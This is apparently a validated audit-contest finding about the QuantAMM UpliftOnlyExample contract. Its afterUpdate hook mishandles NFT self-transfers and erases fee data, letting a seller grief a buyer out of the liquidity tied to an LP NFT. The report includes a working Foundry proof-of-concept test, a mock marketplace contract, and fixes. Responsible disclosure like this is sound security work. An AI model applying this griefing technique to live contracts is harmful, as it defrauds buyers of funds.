QuantAMM

QuantAMM
49,600 OP
View results
Submission Details
Severity: medium
Valid

Incorrect Handling Of Nft Self-Transfer In afterupdate Hook Allows The Owner To Grief A Buyer By Rendering The Nft Unable To Redeem Its Associated Liquidity, Resulting In A Loss Of Funds

Summary

A vulnerability exists in the afterUpdate hook of the UpliftOnlyExample contract. When a user transfers an NFT to themselves, the feeDataArray is mismanaged, unintentionally clearing the user's feeData. This issue stems from the use of push/pop() at an incorrect point in the code, which removes the newly added feeData instead of the intended one. The vulnerability can be exploited to prevent subsequent NFT owners from redeeming their associated liquidity.

Vulnerability Details

As can be seen in the code below, a self transfer would increase feeDataArrayLength via poolsFeeData[poolAddress][_to].push(feeDataArray[tokenIdIndex]) at Line 614, which causes the subsequent pop() to remove the newly added feeData instead of the intended feeDataArray[feeDataArrayLength - 1].

  • Found in contracts/hooks-quantamm/UpliftOnlyExample.sol at Line 625

576: function afterUpdate(address _from, address _to, uint256 _tokenID) public {
614: => poolsFeeData[poolAddress][_to].push(feeDataArray[tokenIdIndex]); // this push will increment feeDataArray length by 1
...
624: delete feeDataArray[feeDataArrayLength - 1];
625: => feeDataArray.pop(); // in case of self transfer (_from == _to) this will remove the newly added feeData
626: }
...
628: }

Impact

This results in the feeData of the legitimate tokenID being cleared. Even if the NFT is sold to a buyer, the buyer/new owner cannot redeem the liquidity associated with the NFT. A buyer on a secondary marketplace can be griefed by the seller before accepting an offer or the owner can also frontrun the buyer's buy transaction, rendering the purchased NFT unable to redeem its associated liquidity, resulting in a loss of funds.

Refer following POC to understand the issue in more detail:

Apply following patch.

diff --git a/pkg/pool-hooks/test/foundry/UpliftExample.t.sol b/pkg/pool-hooks/test/foundry/UpliftExample.t.sol
index d253722..1b929a3 100644
--- a/pkg/pool-hooks/test/foundry/UpliftExample.t.sol
+++ b/pkg/pool-hooks/test/foundry/UpliftExample.t.sol
@@ -40,6 +40,8 @@ import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { UpliftOnlyExample } from "../../contracts/hooks-quantamm/UpliftOnlyExample.sol";
import { LPNFT } from "../../contracts/hooks-quantamm/LPNFT.sol";
+import "./mocks/SimpleNFTMarketplace.sol";
+
contract UpliftOnlyExampleTest is BaseVaultTest {
using CastingHelpers for address[];
using ArrayHelpers for *;
@@ -1444,4 +1446,61 @@ contract UpliftOnlyExampleTest is BaseVaultTest {
);
assertEq(balancesAfter.bobBpt, 0, "bob should not hold any BPT");
}
+
+ function testAfterUpdate_GriefLpNFTBuyer() public {
+ // First, provide initial liquidity from bob to get an LP NFT
+ uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
+ vm.startPrank(bob);
+ upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
+
+ // Initial state verification
+ assertEq(upliftOnlyRouter.lpNFT().ownerOf(1), bob, "Bob should own NFT initially");
+ assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].tokenID, 1, "Bob should have fee data for token 1");
+ assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, alice).length, 0, "Alice should have no fee data initially");
+
+ // Simulate NFT marketplace listing and offer acceptance
+ SimpleNFTMarketplace marketplace = new SimpleNFTMarketplace();
+
+ // Bob list his lpNFT for 1 ether
+ upliftOnlyRouter.lpNFT().approve(address(marketplace), 1);
+ marketplace.listNFT(address(upliftOnlyRouter.lpNFT()), 1, 1 ether);
+
+ vm.stopPrank();
+
+ // Alice places an offer
+ vm.deal(alice, 1 ether);
+ vm.startPrank(alice);
+ marketplace.placeOffer{value: 1 ether}(address(upliftOnlyRouter.lpNFT()), 1);
+ vm.stopPrank();
+
+ // Bob maliciously clears his lp/fee data in UpliftRouter before accepting Alice's offer
+ vm.startPrank(bob);
+ // Test that self-transfer of NFT clears fee data while maintaining ownership
+ upliftOnlyRouter.lpNFT().transferFrom(bob, bob, 1);
+ assertEq(upliftOnlyRouter.lpNFT().ownerOf(1), bob, "Bob should still own NFT after self-transfer");
+ assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].tokenID, 0, "Bob's fee data should be cleared after self-transfer due to onAfterUpdate bug");
+ assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, alice).length, 0, "Alice should still have no fee data after Bob's self-transfer due to onAfterUpdate bug");
+
+ // Bob accepts Alice's offer
+ uint256 bobBalanceBefore = bob.balance;
+ upliftOnlyRouter.lpNFT().approve(address(marketplace), 1);
+ marketplace.acceptOffer(address(upliftOnlyRouter.lpNFT()), 1, alice);
+ uint256 bobBalanceAfter = bob.balance;
+ assertEq(bobBalanceAfter - bobBalanceBefore, 1 ether, "Bob's ether balance should increase by 1 ether after selling the nft");
+ vm.stopPrank();
+
+ // Alice got the NFT but not with the inherent liquidity
+ assertEq(upliftOnlyRouter.lpNFT().ownerOf(1), alice, "Alice should own NFT after offer acceptance");
+ assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, alice).length, 0, "Alice should have NO fee data after acquiring NFT due to Bob griefing");
+
+ // This leads to alice fails to redeem liquidity
+ vm.startPrank(alice);
+ uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
+ vm.expectRevert(abi.encodeWithSelector(UpliftOnlyExample.WithdrawalByNonOwner.selector, alice, pool, bptAmount));
+
+ upliftOnlyRouter.removeLiquidityProportional(bptAmount, minAmountsOut, false, pool);
+ vm.stopPrank();
+
+ // This proves Bob can grief Alice with no loss (gives up his liquidity but receive payment in ETH in return). The griefed funds are the token spent to buy the nft (1 ETH) and the liquidity assets locked in the nft (DAI and USDC added by Bob)
+ }
}
diff --git a/pkg/pool-hooks/test/foundry/mocks/SimpleNFTMarketplace.sol b/pkg/pool-hooks/test/foundry/mocks/SimpleNFTMarketplace.sol
new file mode 100644
index 0000000..5177336
--- /dev/null
+++ b/pkg/pool-hooks/test/foundry/mocks/SimpleNFTMarketplace.sol
@@ -0,0 +1,101 @@
+// SPDX-License-Identifier: GPL-3.0-or-later
+pragma solidity 0.8.26;
+
+import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+
+/**
+ * @title SimpleNFTMarketplace
+ * @notice A basic NFT marketplace supporting listing, offers, and offer acceptance
+ */
+contract SimpleNFTMarketplace {
+ struct Listing {
+ address seller;
+ uint256 price;
+ bool isActive;
+ }
+
+ struct Offer {
+ address bidder;
+ uint256 amount;
+ bool isActive;
+ }
+
+ // NFT contract => tokenId => Listing
+ mapping(address => mapping(uint256 => Listing)) public listings;
+ // NFT contract => tokenId => bidder => Offer
+ mapping(address => mapping(uint256 => mapping(address => Offer))) public offers;
+
+ event NFTListed(address indexed nftContract, uint256 indexed tokenId, address indexed seller, uint256 price);
+ event NFTDelisted(address indexed nftContract, uint256 indexed tokenId, address indexed seller);
+ event OfferPlaced(address indexed nftContract, uint256 indexed tokenId, address indexed bidder, uint256 amount);
+ event OfferCancelled(address indexed nftContract, uint256 indexed tokenId, address indexed bidder);
+ event OfferAccepted(address indexed nftContract, uint256 indexed tokenId, address seller, address bidder, uint256 amount);
+
+ /**
+ * @notice List an NFT for sale
+ * @param nftContract The NFT contract address
+ * @param tokenId The token ID to list
+ * @param price The listing price in ETH
+ */
+ function listNFT(address nftContract, uint256 tokenId, uint256 price) external {
+ require(price > 0, "Price must be greater than 0");
+ require(IERC721(nftContract).ownerOf(tokenId) == msg.sender, "Not token owner");
+ require(IERC721(nftContract).getApproved(tokenId) == address(this), "Marketplace not approved");
+
+ listings[nftContract][tokenId] = Listing({
+ seller: msg.sender,
+ price: price,
+ isActive: true
+ });
+
+ emit NFTListed(nftContract, tokenId, msg.sender, price);
+ }
+
+ /**
+ * @notice Place an offer on an NFT
+ * @param nftContract The NFT contract address
+ * @param tokenId The token ID to bid on
+ */
+ function placeOffer(address nftContract, uint256 tokenId) external payable {
+ require(msg.value > 0, "Offer must be greater than 0");
+ require(IERC721(nftContract).ownerOf(tokenId) != msg.sender, "Cannot offer on own NFT");
+
+ // Return any existing offer from this bidder
+ Offer memory existingOffer = offers[nftContract][tokenId][msg.sender];
+ if (existingOffer.isActive) {
+ payable(msg.sender).transfer(existingOffer.amount);
+ }
+
+ offers[nftContract][tokenId][msg.sender] = Offer({
+ bidder: msg.sender,
+ amount: msg.value,
+ isActive: true
+ });
+
+ emit OfferPlaced(nftContract, tokenId, msg.sender, msg.value);
+ }
+
+ /**
+ * @notice Accept an offer for an NFT
+ * @param nftContract The NFT contract address
+ * @param tokenId The token ID to sell
+ * @param bidder The address of the bidder whose offer to accept
+ */
+ function acceptOffer(address nftContract, uint256 tokenId, address bidder) external {
+ require(IERC721(nftContract).ownerOf(tokenId) == msg.sender, "Not token owner");
+ require(IERC721(nftContract).getApproved(tokenId) == address(this), "Marketplace not approved");
+
+ Offer memory offer = offers[nftContract][tokenId][bidder];
+ require(offer.isActive, "No active offer from bidder");
+
+ // Clear the offer and transfer NFT
+ delete offers[nftContract][tokenId][bidder];
+ IERC721(nftContract).transferFrom(msg.sender, bidder, tokenId);
+
+ // Transfer ETH to seller
+ payable(msg.sender).transfer(offer.amount);
+
+ emit OfferAccepted(nftContract, tokenId, msg.sender, bidder, offer.amount);
+ }
+}

Execute the POC with:

cd pkg/pool-hooks
forge test --mt testAfterUpdate_GriefLpNFTBuyer

A PASS execution proves that the original NFT owner can grief new buyer with roughly no loss, given that the owner gave up his liquidity but received ETH payment in return. As for the buyer, the loss includes the ETH he spent to buy the NFT, plus the permanently stuck liquidity assets (DAI and USDC which should belong to the buyer) in the Balancer vault.

Tools Used

Foundry

Recommendations

  1. Add a condition to ensure that _to != _from to disallow self-transfers. Or,

  2. move poolsFeeData[poolAddress][_to].push(feeDataArray[tokenIdIndex]); after feeDataArray.pop(); line. This ensures the pop() operation removes the intended feeDataArray[feeDataArrayLength - 1] and not the newly added feeData.

Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_afterUpdate_erase_self_transfer

Likelihood: Low, when users wants to transfer tokens they already own to themselves. Impact: High, funds loss.

Appeal created

0xpep7 Submitter
10 months ago
0xpep7 Submitter
10 months ago
huntoor Auditor
10 months ago
0xpep7 Submitter
10 months ago
n0kto Lead Judge
10 months ago
n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_afterUpdate_erase_self_transfer

Likelihood: Low, when users wants to transfer tokens they already own to themselves. Impact: High, funds loss.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!